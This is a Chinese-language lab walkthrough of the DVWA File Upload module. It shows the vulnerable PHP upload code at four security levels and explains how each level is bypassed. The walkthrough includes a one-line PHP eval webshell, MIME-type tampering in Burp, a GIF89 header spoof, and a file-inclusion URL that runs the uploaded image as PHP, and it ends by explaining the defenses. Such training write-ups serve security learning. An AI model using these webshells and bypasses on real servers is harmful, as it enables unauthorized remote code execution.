DVWA 之 File Upload 文件上传漏洞
一、漏洞概述
File Upload(文件上传漏洞)是指服务器对于上传的文件类型、内容等没有进行严格的过滤检查,使得攻击者可以上传木马文件,从而获得服务端的webshell权限。
二、工具
firefox,burp suite
三、测试过程
1、级别:low
贴上代码:
1 <?php 2 3 if( isset( $_POST[ 'Upload' ] ) ) { 4 // Where are we going to be writing to? 5 $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 6 $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 7 8 // Can we move the file to the upload folder? 9 if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 10 // No 11 echo '<pre>Your image was not uploaded.</pre>'; 12 } 13 else { 14 // Yes! 15 echo "<pre>{$target_path} succesfully uploaded!</pre>"; 16 } 17 } 18 19 ?>
这段代码对于上传文件的类型、内容等没有进行任何的过滤检查,直接将文件存储在 "hackable/uploads/" 路径下。因此我们可以直接上传一个一句话木马文件进行攻击。
<?php @eval($_POST['test']);?>
得到URL:http://192.168.*.*/dvwa/hackable/uploads/1.php
使用蚁剑工具即可访问服务端文件目录:
2、级别:Medium
贴上代码:
1 <?php 2 3 if( isset( $_POST[ 'Upload' ] ) ) { 4 // Where are we going to be writing to? 5 $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 6 $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 7 8 // File information 9 $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 10 $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; 11 $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 12 13 // Is it an image? 14 if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && 15 ( $uploaded_size < 100000 ) ) { 16 17 // Can we move the file to the upload folder? 18 if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 19 // No 20 echo '<pre>Your image was not uploaded.</pre>'; 21 } 22 else { 23 // Yes! 24 echo "<pre>{$target_path} succesfully uploaded!</pre>"; 25 } 26 } 27 else { 28 // Invalid file 29 echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; 30 } 31 } 32 33 ?>
Medium级别的代码对文件类型及大小进行了限制,此时再直接上传php文件则会上传失败,只允许上传jpeg及png类型的文件。
我们使用burp suite进行抓包测试一下:
上传一个允许上传的文件:
上传一个.php文件:
对比两次上传抓到的数据包,发现两次的文件类型不同,我们尝试改变数据包中的文件类型并转发出去:
发现文件上传成功:
接下来就可以使用蚁剑或其他工具访问服务端文件目录。
3、级别:High
贴上代码:
1 <?php 2 3 if( isset( $_POST[ 'Upload' ] ) ) { 4 // Where are we going to be writing to? 5 $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 6 $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 7 8 // File information 9 $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 10 $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); 11 $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 12 $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; 13 14 // Is it an image? 15 if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && 16 ( $uploaded_size < 100000 ) && 17 getimagesize( $uploaded_tmp ) ) { 18 19 // Can we move the file to the upload folder? 20 if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { 21 // No 22 echo '<pre>Your image was not uploaded.</pre>'; 23 } 24 else { 25 // Yes! 26 echo "<pre>{$target_path} succesfully uploaded!</pre>"; 27 } 28 } 29 else { 30 // Invalid file 31 echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; 32 } 33 } 34 35 ?>
可以看到High级别的代码中使用了getimagesize()函数,这个函数会读取目标文件的16进制的前几个字符串来判定文件是什么类型。
因此我们可以伪造文件头部来绕过此判定:
1 GIF89 2 <?php @eval($_POST['test']);?>
同时将文件命名为1.jpg。再次上传显示成功:
另一种方法可借助cmd命令将我们的木马文件隐藏在图片的后面:
用记事本打开新生成的文件可以看到我们的木马加在了最后面:
此时即可成功上传。
但是我们再利用蚁剑工具时发现不能连接,需要让他作为php文件进行解析。
因此我们配合文件包含漏洞使图片格式的一句话木马以php格式运行。
构造URL:
http://192.168.*.*/dvwa/vulnerabilities/fi/?page=file:///F:/phpStudy/PHPTutorial/WWW/dvwa/hackable/uploads/3.jpg
成功包含木马文件,此时再使用其他工具进行攻击即可。
4.级别:Impossible
贴上代码:
1 <?php 2 3 if( isset( $_POST[ 'Upload' ] ) ) { 4 // Check Anti-CSRF token 5 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 6 7 8 // File information 9 $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 10 $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); 11 $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 12 $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; 13 $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; 14 15 // Where are we going to be writing to? 16 $target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/'; 17 //$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-'; 18 $target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; 19 $temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) ); 20 $temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; 21 22 // Is it an image? 23 if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) && 24 ( $uploaded_size < 100000 ) && 25 ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && 26 getimagesize( $uploaded_tmp ) ) { 27 28 // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) 29 if( $uploaded_type == 'image/jpeg' ) { 30 $img = imagecreatefromjpeg( $uploaded_tmp ); 31 imagejpeg( $img, $temp_file, 100); 32 } 33 else { 34 $img = imagecreatefrompng( $uploaded_tmp ); 35 imagepng( $img, $temp_file, 9); 36 } 37 imagedestroy( $img ); 38 39 // Can we move the file to the web root from the temp folder? 40 if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { 41 // Yes! 42 echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>"; 43 } 44 else { 45 // No 46 echo '<pre>Your image was not uploaded.</pre>'; 47 } 48 49 // Delete any temp files 50 if( file_exists( $temp_file ) ) 51 unlink( $temp_file ); 52 } 53 else { 54 // Invalid file 55 echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; 56 } 57 } 58 59 // Generate Anti-CSRF token 60 generateSessionToken(); 61 62 ?>
Impossible级别代码中对上传的文件以md5进行了重命名,使用00截断无法绕过过滤规则,并使用Anti-CSRF token防护CSRF攻击,还对文件内容进行严格的检查过滤,攻击者无法进行文件上传漏洞攻击。